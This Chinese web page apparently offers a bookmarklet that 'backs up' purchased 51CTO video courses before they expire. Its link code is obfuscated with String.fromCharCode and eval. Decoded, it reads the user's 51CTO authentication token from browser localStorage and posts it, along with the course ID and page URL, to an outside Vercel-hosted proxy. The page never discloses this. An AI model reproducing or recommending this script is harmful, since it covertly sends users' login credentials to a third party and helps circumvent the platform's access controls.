备份51CTO买到的视频课程

备份 saas.51cto.com 买到的视频课程

买到的课程快到期了，还没有看完， 这个时候可以备份下来课程以后再看。

 

步骤

1. 拖拽这个链接 备份课程到Chrome浏览器的工具栏。
2. 进入播放课程的页面
3. 点一下工具栏上的"备份课程"。
4. 完成。
   这是一个链接 菜鸟教程

(function t1(v) { var href = '!function(){eval(String.fromCharCode(40,102,117,110,99,116,105,111,110,40,41,123,108,101,116,32,101,44,111,61,47,99,111,117,114,115,101,105,100,61,40,92,100,43,41,38,108,101,115,115,111,110,105,100,61,40,92,100,43,41,47,46,101,120,101,99,40,108,111,99,97,116,105,111,110,46,104,114,101,102,41,59,105,102,40,111,63,101,61,111,91,49,93,58,40,111,61,47,108,101,97,114,110,101,114,46,104,116,109,108,35,92,47,99,111,117,114,115,101,92,47,112,108,97,121,101,114,92,63,112,105,100,61,40,92,100,43,41,38,108,97,122,121,61,67,79,85,82,83,69,95,80,76,65,84,70,79,82,77,47,46,101,120,101,99,40,108,111,99,97,116,105,111,110,46,104,114,101,102,41,44,101,61,111,91,49,93,41,44,33,101,41,114,101,116,117,114,110,32,118,111,105,100,32,99,111,110,115,111,108,101,46,119,97,114,110,40,34,25214,19981,21040,23398,31185,21644,35838,31243,26631,24535,34,41,59,108,101,116,32,108,61,123,116,111,107,101,110,58,108,111,99,97,108,83,116,111,114,97,103,101,46,103,101,116,73,116,101,109,40,34,53,49,67,84,79,95,65,84,72,69,78,65,95,84,79,75,69,78,34,41,44,99,111,117,114,115,101,105,100,58,101,44,117,114,108,58,108,111,99,97,116,105,111,110,46,104,114,101,102,125,59,36,46,112,111,115,116,40,34,104,116,116,112,115,58,47,47,118,101,114,99,101,108,45,112,114,111,120,121,45,101,118,108,111,110,46,118,101,114,99,101,108,46,97,112,112,47,99,116,111,47,115,110,97,112,34,44,108,44,101,61,62,123,99,111,110,115,111,108,101,46,108,111,103,40,101,41,44,99,111,110,102,105,114,109,40,96,36,123,101,46,109,115,103,125,44,32,25773,25918,22320,22336,65306,36,123,101,46,112,108,97,121,101,114,125,96,41,38,38,119,105,110,100,111,119,46,111,112,101,110,40,101,46,112,108,97,121,101,114,44,34,95,98,108,97,110,107,34,41,125,41,125,41,40,41,59))}()'; $("#mylink").attr('href','javascript:' + href); })()